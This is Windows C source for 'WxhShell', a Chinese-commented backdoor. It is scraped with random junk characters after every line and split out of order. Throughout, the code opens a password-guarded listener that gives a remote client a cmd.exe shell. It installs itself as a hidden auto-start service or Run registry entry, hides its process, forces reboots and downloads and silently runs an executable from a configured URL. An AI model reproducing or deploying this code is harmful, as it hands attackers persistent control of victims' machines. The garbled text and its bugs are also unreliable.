    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OeuM9c{  
    if(Boot(SHUTDOWN)) WUM&Lq k"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %U&O \GB  
    else { {/C \GxH+  
    closesocket(wsh); [`~E)B1Y  
    ExitThread(0); >h0iq  
    } R`wL%I!?f  
    break; 6_m5%c~;+r  
    } \tj7Jy  
  // 获取shell "Z&-:1tP{9  
  case 's': { X4:\Shb97  
    CmdShell(wsh); 1jJ>(S  
    closesocket(wsh); nl)!)t=n  
    ExitThread(0); XA~Cc<v  
    break; .X;zEyd  
  } mZ^z%+Ca|  
  // 退出 S0\;FmLIc  
  case 'x': { bm>,$GW(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QQso<.d&  
    CloseIt(wsh); v>FsP$p4yE  
    break; "eq{_4dL  
    } I6x  
  // 离开 HWJ(O/N  
  case 'q': { lw4#xH-?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  fWx %?J  
    closesocket(wsh); CfguL@tR.  
    WSACleanup(); :esHtkyML  
    exit(1); oh k.;  
    break; !1tHg Z2\  
        } }7>r,  
  } ieN}Ajl2  
  } gAA2S5th  
+rw?k/  
  // 提示信息 HJVi:;o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HuPw?8w=  
} .Vm!Ng )j  
  } >~-8RM  
L> ehL(]!  
  return; uES|jU{]b  
} *OOi  
+*2]R~"M  
// shell模块句柄 $niJw@zC  
int CmdShell(SOCKET sock) zI5 #'<n  
{ Zl69d4vG  
STARTUPINFO si; ?MT V!i0  
ZeroMemory(&si,sizeof(si)); O,`#h*{N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9E/{HNkf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t6GL/M4  
PROCESS_INFORMATION ProcessInfo; )[d?&GK  
char cmdline[]="cmd"; gOpi>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v+.  n9  
  return 0; *9#6N2J$M  
} 4l/hh|3@  
39p&M"Yo  
// 自身启动模式 kiLwN nq  
int StartFromService(void) [?3]+xr :  
{ uD=i-IHT  
typedef struct (yjx+K_[  
{ &b[ .bf  
  DWORD ExitStatus; yrp5\k*{y  
  DWORD PebBaseAddress; AJ_''%$I3:  
  DWORD AffinityMask;  F?UI8  
  DWORD BasePriority; C&\MDOjx  
  ULONG UniqueProcessId; 3*< O-Jr  
  ULONG InheritedFromUniqueProcessId; aDrF" j  
}   PROCESS_BASIC_INFORMATION; s}8(__|  
/5qeNjI+2  
PROCNTQSIP NtQueryInformationProcess; !~+"TI}_%w  
'R&Y pR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WmO.&zp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )-D{]>8  
C` s  
  HANDLE             hProcess; ; B4x>  
  PROCESS_BASIC_INFORMATION pbi; ldd|"[Ds  
]ZV.@% +  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tm!pAD  
  if(NULL == hInst ) return 0; P9Ye e!*H  
CH!>RRF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S$ u`)BG):  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wpgp YcPS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HeV6=&#  
@>>8CU^~  
  if (!NtQueryInformationProcess) return 0; Y?ADM(j  
+#%#QL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BE`{? -G  
  if(!hProcess) return 0; eI?|Ps{S  
[1+ o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [BPK0  
(x;Uy  
  CloseHandle(hProcess); 0 rM'VgB  
{y5v"GR{YM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 05 P#gs`<  
if(hProcess==NULL) return 0; nitKX.t8  
EL*OeyU1l  
HMODULE hMod; Z~&$s  
char procName[255]; m<7Ax>  
unsigned long cbNeeded; j#}wg`P"A  
\"L ;Ct 8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ['<Q402:.  
5<Ly^Na:  
  CloseHandle(hProcess); W 9i}w&  
%2H0JXKa,  
if(strstr(procName,"services")) return 1; // 以服务启动 ?8ZOiY(  
5k%Gj T  
  return 0; // 注册表启动 U/hf?T;  
} ~.FeLWP  
"H{Et b/  
// 主模块 Y[_{tS#u  
int StartWxhshell(LPSTR lpCmdLine) pD^7ZE6  
{ WJ%4IaT  
  SOCKET wsl; ,]A|z ~q  
BOOL val=TRUE; 5Q)hl.<{o7  
  int port=0; |6]2XW  
  struct sockaddr_in door; bl8zcpdL  
+JyD W%a:L  
  if(wscfg.ws_autoins) Install(); OoW,mmthj>  
??\1eo2gB  
port=atoi(lpCmdLine); 41-u*$   
g0Rny  
if(port<=0) port=wscfg.ws_port; ua!i3]18  
!p:kEIZ)y  
  WSADATA data; Ge'[AhA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `S`,H  
$N !l-lu=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @u@ N&{b5"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \`ya08DP(  
  door.sin_family = AF_INET; p(B^](?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8iv0&91Z  
  door.sin_port = htons(port); &c?q#-^)\+  
[-ONs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2p^Jqp`$  
closesocket(wsl); 6]%SSq&  
return 1; ,,FO6+4f  
} |M8FMH[_  
c0 I;8z`b  
  if(listen(wsl,2) == INVALID_SOCKET) { "3&bh>#qY  
closesocket(wsl); UyFvj4SU  
return 1; g2Hz[C(  
} A7`+XqG  
  Wxhshell(wsl); 2F}D?] A  
  WSACleanup(); vkR,Sn  
M%yeI{m  
return 0; ?* {Vn5aX{  
x=S8UKUx  
} 0A,u!"4[  
VnjhEEM!  
// 以NT服务方式启动 k},@2#W]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Re.sX}$Y  
{ 8QJ^@|7  
DWORD   status = 0; "c9T4=]&t  
  DWORD   specificError = 0xfffffff; K2Z]MpLD  
#F|q->2`o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *#n#J[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z2t'?N|_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5WlBe c@  
  serviceStatus.dwWin32ExitCode     = 0; vtByCu5  
  serviceStatus.dwServiceSpecificExitCode = 0; &c AFKYt  
  serviceStatus.dwCheckPoint       = 0; EDDld6O,  
  serviceStatus.dwWaitHint       = 0; K/flg|uZ/V  
-XJXl}M.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a< E\9DL  
  if (hServiceStatusHandle==0) return; M~?2g.o'D  
jqzG=/0~{  
status = GetLastError(); 6"o,)e/z  
  if (status!=NO_ERROR) De<kkR{4  
{ 'DhH:PR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9}*Pb6  
    serviceStatus.dwCheckPoint       = 0; lH%%iYBM  
    serviceStatus.dwWaitHint       = 0; tM:%{az  
    serviceStatus.dwWin32ExitCode     = status; S5+W<Qs  
    serviceStatus.dwServiceSpecificExitCode = specificError; fb=[gK#*,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ku3(cb!2  
    return; Md*~hb8J  
  } /bSAVSKR  
iB XS   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a_T3<  
  serviceStatus.dwCheckPoint       = 0; J< vVsz+7:  
  serviceStatus.dwWaitHint       = 0; LykB2]T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r\j*?m ]  
} w/oXFs&FK  
s7Z+--I)L  
// 处理NT服务事件,比如:启动、停止 2ophh/]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n40&4n  
{ WSsX*L  
switch(fdwControl) ev4f9Fhu  
{ )c<X.4  
case SERVICE_CONTROL_STOP: 3oQ?VP  
  serviceStatus.dwWin32ExitCode = 0; ` it<\r[=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >zS<1  
  serviceStatus.dwCheckPoint   = 0; o>l/*i0I  
  serviceStatus.dwWaitHint     = 0; "\~d!"n|2  
  { I1)t1%6"vJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F*4zC@;  
  } Ivx]DXR|  
  return; }2]m]D@%7  
case SERVICE_CONTROL_PAUSE: ,]LsX"u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &y+)xe:&S  
  break; r.ib"W#4  
case SERVICE_CONTROL_CONTINUE: 2v\<MrL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lD-HQd  
  break; s#p\ r  
case SERVICE_CONTROL_INTERROGATE: /D>G4PP<  
  break; n8.Tag(#  
}; K/l*Saj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TN=!;SvQU  
} Zsto8wuf#  
DedY(JOvB  
// 标准应用程序主函数 3EA+tG4KnO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3%(BZ23  
{ ?ZAynZF|#  
4XNdsb  
// 获取操作系统版本 CQns:.`$`  
OsIsNt=GetOsVer(); T(z/Jm3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ..fbRt  
`L m9!?  
  // 从命令行安装 'E)g )@^  
  if(strpbrk(lpCmdLine,"iI")) Install(); i `7(5L~`  
v\G+t2{  
  // 下载执行文件 |ERf3  
if(wscfg.ws_downexe) { c>b{/92%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2u%YRrp  
  WinExec(wscfg.ws_filenam,SW_HIDE); :soR7oHZ  
} @=6*]:p2.  
K}( @Ek  
if(!OsIsNt) { w!rw%  
// 如果时win9x,隐藏进程并且设置为注册表启动 <3fY,qw  
HideProc(); 9#:B_?e=  
StartWxhshell(lpCmdLine); 5_+pgJL  
} D16w!Mnz{K  
else 2I>`{#fV  
  if(StartFromService()) r:U/a=V  
  // 以服务方式启动 MWI7u7{  
  StartServiceCtrlDispatcher(DispatchTable); _-:CU  
else .!)i    
  // 普通方式启动 a^7HI,  
  StartWxhshell(lpCmdLine);  uWkn}P  
`&jG8lHa  
return 0; h1+y.4  
} NRMEZ\*L  
B'hN3.  
D}OhmOu 3  
VJSkQ\KD  
=========================================== |.?X ov]  
ftaa~h*  
)?<V-,D  
FyWrb+_0v  
9P&{Xhs7  
&l~9FE *  
" EQVa8xt/C  
E[Bj+mX9  
#include <stdio.h> $Ned1@%[  
#include <string.h> c@x6<S%*  
#include <windows.h> }q=tg9  
#include <winsock2.h> $QnsP#ePN  
#include <winsvc.h> 6 2LLfD  
#include <urlmon.h> Vtv1{/@+c  
OjurfVw  
#pragma comment (lib, "Ws2_32.lib") jk{m8YP)E  
#pragma comment (lib, "urlmon.lib") C#@-uo2  
B) BR y%  
#define MAX_USER   100 // 最大客户端连接数 |e91KmiqJ  
#define BUF_SOCK   200 // sock buffer Ns$,.D  
#define KEY_BUFF   255 // 输入 buffer v<vaPvW  
!,OY{='  
#define REBOOT     0   // 重启 2Ft#S8  
#define SHUTDOWN   1   // 关机 zsr;37  
>9,LN;Ic  
#define DEF_PORT   5000 // 监听端口 ,0aRHy_^  
/pL'G`  
#define REG_LEN     16   // 注册表键长度 w3FEX$`_  
#define SVC_LEN     80   // NT服务名长度 R,`3 SW()  
ltlnXjRUv  
// 从dll定义API OWZ;X}x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .RpWE.C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w"q^8"j!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :_:o%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); " ""pe+Y  
KvumU>c#A  
// wxhshell配置信息 N=j$~,yG  
struct WSCFG { o('6,D  
  int ws_port;         // 监听端口 df{6!}/(  
  char ws_passstr[REG_LEN]; // 口令 ;v5Jps2^]  
  int ws_autoins;       // 安装标记, 1=yes 0=no vlo!D9zsV3  
  char ws_regname[REG_LEN]; // 注册表键名 [sl"\3)  
  char ws_svcname[REG_LEN]; // 服务名 ^+}~"nvD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6o]j@o8V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _xGC0f (  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +J3Y}A4W3X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,[[Xo;q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $pajE^d4V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H^XTzE  
xiO10:L4  
}; N~%~Q  
^L-; S  
// default Wxhshell configuration w" Y'I$  
struct WSCFG wscfg={DEF_PORT, `V{'GF&[  
    "xuhuanlingzhe", /%AA\`: 6  
    1, "QmlW2ysi  
    "Wxhshell", P,)\#([vc  
    "Wxhshell", Je~`{n  
            "WxhShell Service", q>m[vvt"  
    "Wrsky Windows CmdShell Service", gT2k}5d}p  
    "Please Input Your Password: ", .$xTX'  
  1, A5~OHmeK  
  "http://www.wrsky.com/wxhshell.exe", nTHCb>,vM  
  "Wxhshell.exe" LZ8xh  
    }; YJ>P+e\o9  
yJ?= H H?  
// 消息定义模块 "\qm+g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \9 k3;zw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FO)`&s"&2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wu3p2#-Z  
char *msg_ws_ext="\n\rExit."; wRJ`RKJ-T  
char *msg_ws_end="\n\rQuit."; 9'A^n~JHF  
char *msg_ws_boot="\n\rReboot..."; [_HOD^  
char *msg_ws_poff="\n\rShutdown..."; w sbzGW~=  
char *msg_ws_down="\n\rSave to "; toel!+  
8@]vvZ2/gj  
char *msg_ws_err="\n\rErr!"; XhmUtbs  
char *msg_ws_ok="\n\rOK!"; vP^V3  
R(IYb%L  
char ExeFile[MAX_PATH]; [s F/sa 3  
int nUser = 0; @O8X )  
HANDLE handles[MAX_USER]; V eLGxc  
int OsIsNt; iZ9ed ]mf  
]JlM/  
SERVICE_STATUS       serviceStatus; :`Xg0J+P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +0M0g_sk  
S6{u(= H  
// 函数声明 Dyh|F\T  
int Install(void); cG5u$B  
int Uninstall(void); Hu"TEhW(2  
int DownloadFile(char *sURL, SOCKET wsh); I[P_j`aE  
int Boot(int flag); $ZRvvm!f  
void HideProc(void); V L;<+C~  
int GetOsVer(void); gb/<(I )  
int Wxhshell(SOCKET wsl); _*n 4W^8  
void TalkWithClient(void *cs); k; ned  
int CmdShell(SOCKET sock); }r|$\ms  
int StartFromService(void); `vD.5  
int StartWxhshell(LPSTR lpCmdLine); a7"Aq:IjU  
bf6:J `5Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?L6pB]l8b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); < mp_[-c  
v8>bR|n5  
// 数据结构和表定义 AL*M`m_  
SERVICE_TABLE_ENTRY DispatchTable[] = u_6x{",5I  
{ Jm,tN/o*  
{wscfg.ws_svcname, NTServiceMain}, &e99P{\D  
{NULL, NULL} !rff/0/x"  
}; 40%<E  
c.}#.-b8  
// 自我安装 z7R2viR[  
int Install(void) n7L|XkaQ  
{ 4M P8t@z  
  char svExeFile[MAX_PATH]; r?HbApV P  
  HKEY key; cg^=F_h  
  strcpy(svExeFile,ExeFile); !CR#Fyt+9  
P9 qZjBS  
// 如果是win9x系统,修改注册表设为自启动 R+ tQvxp#  
if(!OsIsNt) { | A# \5u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;8yEhar  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3y yVI#  
  RegCloseKey(key); i)7B :uA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7|(o=+Bt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "/d  
  RegCloseKey(key); |};-.}u^`h  
  return 0; apWv+A  
    } .Xk#Cwm'  
  } "]U_o<V  
} YA~`R~9d  
else { t_ id/  
q:9CFAX0=  
// 如果是NT以上系统,安装为系统服务 VUzRA"DP|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g:Ry.=F7W  
if (schSCManager!=0) +f'@  
{ BB.120v&N  
  SC_HANDLE schService = CreateService C9n*?Mk:  
  ( $~NB .SY  
  schSCManager, x57O.WdN  
  wscfg.ws_svcname, co{i~['u  
  wscfg.ws_svcdisp, lFa?l\jLXZ  
  SERVICE_ALL_ACCESS, 1Sd<cOEd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >)VWXv0  
  SERVICE_AUTO_START, uLrZl0%HT~  
  SERVICE_ERROR_NORMAL, ),5A&qT*  
  svExeFile, JN3&(t  
  NULL, x$.0 :jP/s  
  NULL, R/l/GNm  
  NULL, >Zh^,T={G  
  NULL, vGchKN~_  
  NULL $'COsiK7  
  ); l *+9R  
  if (schService!=0) !5K5;M_Ih"  
  { gS.,V!#t  
  CloseServiceHandle(schService); $uYfy<  
  CloseServiceHandle(schSCManager); pZ&?uo67_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Df=Xbf>jt9  
  strcat(svExeFile,wscfg.ws_svcname); HA3d9`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~jMfm~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E/3<8cV  
  RegCloseKey(key); dd!Q[]$ }  
  return 0; C$^WW}S  
    } AO]1`b:  
  } KWH:tFL.  
  CloseServiceHandle(schSCManager); 8P*wt'Q$  
} TH? wXd\  
} C*Wyw]:r  
AQgm]ex<  
return 1;  t`'5|  
} mZ#h p}\.  
!.[H !-V.  
// 自我卸载 _PGS"O?j  
int Uninstall(void) sQ8kLS_q8  
{ mC./,a[  
  HKEY key; b^WF R   
kB]*2o9-3  
if(!OsIsNt) { b*<Fi#x1=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Aw=GvCo<  
  RegDeleteValue(key,wscfg.ws_regname); NJPp6RZ%  
  RegCloseKey(key); 58gkE94  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YI+o:fGC5  
  RegDeleteValue(key,wscfg.ws_regname); J6g:.jsK!  
  RegCloseKey(key); \OK"r-IO  
  return 0; DcmRvi)&6  
  } )X 'ln  
} <E\vc6n  
} yrFl,/8&G  
else { q;9OqArq  
"~6IjW*/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RBV*e9P%  
if (schSCManager!=0) I4MZ JAYk  
{ !'8jy_<9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z>J3DH  
  if (schService!=0) SfUbjs@a  
  { @~`:sa+H  
  if(DeleteService(schService)!=0) { 0 1:(QJ  
  CloseServiceHandle(schService); <& iLMb:%  
  CloseServiceHandle(schSCManager); F3&:KZ!V&m  
  return 0; TJz} 8-#t  
  } $(&+NJ$U$  
  CloseServiceHandle(schService); }Ih5`$   
  } RwDXOdgu  
  CloseServiceHandle(schSCManager); MsjC4(Xla.  
} l`?4O  
} A\QrawBp0l  
=$WDB=i  
return 1; 7x)32f"  
} X oh@(%  
$fQ'q3  
// 从指定url下载文件 =7Sw29u<  
int DownloadFile(char *sURL, SOCKET wsh) k;pU8y6Y  
{ Hw%lT}[O  
  HRESULT hr; ZBXn&Gm  
char seps[]= "/"; 0oo*F  
char *token; ?EA&kZR]  
char *file; ee#\XE=A  
char myURL[MAX_PATH]; T)*tCp]  
char myFILE[MAX_PATH]; Q6=>*}Cm6m  
\ bv JZ_  
strcpy(myURL,sURL); ]h}O&K/  
  token=strtok(myURL,seps); hpz DQ6-Y  
  while(token!=NULL) 2 D!$x+|  
  { Vl0Y'@{  
    file=token; e)A{ {wD/  
  token=strtok(NULL,seps); 0l~z0pvT  
  } $QJ,V~  
X A-,  
GetCurrentDirectory(MAX_PATH,myFILE); 1'SpJL1u~  
strcat(myFILE, "\\"); )C%S`d<%,  
strcat(myFILE, file); [<IJ{yfx  
  send(wsh,myFILE,strlen(myFILE),0); L?r\J8Ch<  
send(wsh,"...",3,0); p@%H. 5&&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  Y$nI9  
  if(hr==S_OK) .oz(,$CS"  
return 0; e\ O&Xe  
else js)I%Z  
return 1; {z7kW@c  
a'B 5m]%  
} ./Wi(p{F  
+3o 4KB}  
// 系统电源模块 7hfa?Mcz  
int Boot(int flag) R1C2d+L  
{ Zksow}%  
  HANDLE hToken; <<+Hs/ ]  
  TOKEN_PRIVILEGES tkp; Qd"u$~ qC  
xoNn'LF#u  
  if(OsIsNt) { A&=`?4>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); onF?;>[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TPWqiA?3Cp  
    tkp.PrivilegeCount = 1; k~pbXA*u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H?)?(t7@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4zx_L8#Z  
if(flag==REBOOT) { 8AIAv_ g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .:2=VLujU  
  return 0; JbW!V Y  
} .$s=E8fW  
else { 6x"|,,&MD0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $jL+15^N0+  
  return 0; ~A-VgBbU>_  
} ~+Ows  
  } x).`nZ1  
  else { bTc'E#  
if(flag==REBOOT) { L+TM3*a*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zq4)Uab*  
  return 0; znu [i&\=  
} i`" L?3T  
else { yMBFw:/o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WkK.ON^  
  return 0; % !p/r`  
} z)&GF$*  
} R4[dh.lf  
i-31Cxb  
return 1; 8ubb~B;  
} :qO)^~x  
=.f<"P51k  
// win9x进程隐藏模块 cK H By  
void HideProc(void) 6 +x>g  
{ .DZ8kKY  
y2NVx!?n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7g&<ZZo  
  if ( hKernel != NULL ) 0} Lx}2  
  { >d#Ks0\&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S}XVr?l 2O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %XK<[BF  
    FreeLibrary(hKernel);  \%/zf  
  } 6'QlC+E  
j[\aGS7u  
return; s14;\  
} XyE%<]  
qjVhBu7A  
// 获取操作系统版本 iV8O<en&i  
int GetOsVer(void) <[<]+r&*  
{ \z)` pno  
  OSVERSIONINFO winfo; ~h6aTN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $sBje*;  
  GetVersionEx(&winfo); /d]{ #,k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o 9]2  
  return 1; 1>e%(k2w%  
  else l4`HuNR1  
  return 0; cl3Dwrf?  
} "I`g(q#Uo  
wUBug  
// 客户端句柄模块 HtbN7V/  
int Wxhshell(SOCKET wsl) <764|q  
{ yM-3nwk  
  SOCKET wsh; Oe:_B/l  
  struct sockaddr_in client; *{e?%!Q  
  DWORD myID; Zo(p6rku  
}|!9aojr  
  while(nUser<MAX_USER) /~B \1  
{ = 7TK&  
  int nSize=sizeof(client); Fi!XaO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ss>p  
  if(wsh==INVALID_SOCKET) return 1; |g}~7*+i  
#X?#v7i",D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?3) IzzO  
if(handles[nUser]==0) TB  
  closesocket(wsh); /WX 0}mWu  
else D%NVqk|  
  nUser++; BavGirCp  
  } {s/u [T_D2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gv uX"J  
w~I;4p~(N  
  return 0; dN)!B!*aI  
} &!pG1Fp9  
Jg\1(ix  
// 关闭 socket c!})%{U  
void CloseIt(SOCKET wsh) (fJ.o-LQ  
{ rxVJB3P9  
closesocket(wsh); 3A5:D#  
nUser--; a="\?L5  
ExitThread(0); q VcZF7  
} 'HdOW[3o  
iAAlld1  
// 客户端请求句柄 |?KdQeL  
void TalkWithClient(void *cs) AECaX4h+_  
{ d/4kF  
lp=8RbQYC  
  SOCKET wsh=(SOCKET)cs; (#"iZv,  
  char pwd[SVC_LEN]; ID1/N)5 6  
  char cmd[KEY_BUFF]; f/Q7WXl0  
char chr[1]; IR<`OA  
int i,j; 3S_H hvB  
F;,LY:s|Z  
  while (nUser < MAX_USER) { V;}6C&aP.  
KKLW-V\6K  
if(wscfg.ws_passstr) { %ymM#5A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r{~@hd'Aj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uI*2}Q   
  //ZeroMemory(pwd,KEY_BUFF); eGJ}';O,g  
      i=0; %ut7T!Jp  
  while(i<SVC_LEN) { Q|`sYm'.  
}1/`<m  
  // 设置超时 `p. O  
  fd_set FdRead; !U2Wiks  
  struct timeval TimeOut; $_P*Bk)  
  FD_ZERO(&FdRead); [8J/# !B  
  FD_SET(wsh,&FdRead); |{8eoF  
  TimeOut.tv_sec=8; LBkAi(0rd  
  TimeOut.tv_usec=0; Vg+jF!\7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iKu~o.yy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xep!.k x  
`?PpzDV7Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tLzX L *  
  pwd=chr[0]; TnvX&Y'  
  if(chr[0]==0xd || chr[0]==0xa) { <RMrp@[  
  pwd=0; 5yhfCe m|  
  break;  h'_@  
  } 1tNmiAu  
  i++; HYkZMVH{  
    } pzPm(M1^X  
l"-F<^ U  
  // 如果是非法用户,关闭 socket 0R0j7\{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X!w&ib-  
} z^q ~|7  
]5=C3Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #el i_Cxe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -brn&1oJ  
F9SkEf]99  
while(1) { mJ3|UClPS  
?l3PDorR  
  ZeroMemory(cmd,KEY_BUFF); sBo|e]m#  
#<\A[Po  
      // 自动支持客户端 telnet标准   Yc*Ex-s  
  j=0; MJ )aY2  
  while(j<KEY_BUFF) { /4R|QD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _qPd)V6yb  
  cmd[j]=chr[0]; d1`us G"  
  if(chr[0]==0xa || chr[0]==0xd) { cTR@ :sm  
  cmd[j]=0; T%\f$jh6  
  break; =nmvG%.hd  
  } A{!D7kwTz~  
  j++; Xyrf$R'  
    } ^,$>z*WQ.  
b\U p(]  
  // 下载文件 *c[X{  
  if(strstr(cmd,"http://")) { XSu9C zx&I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uH6QK\  
  if(DownloadFile(cmd,wsh)) +])St3h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8ox#+l  
  else B[]v[q<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /puM3ZN  
  } Y-.pslg  
  else { pV3o\bk!  
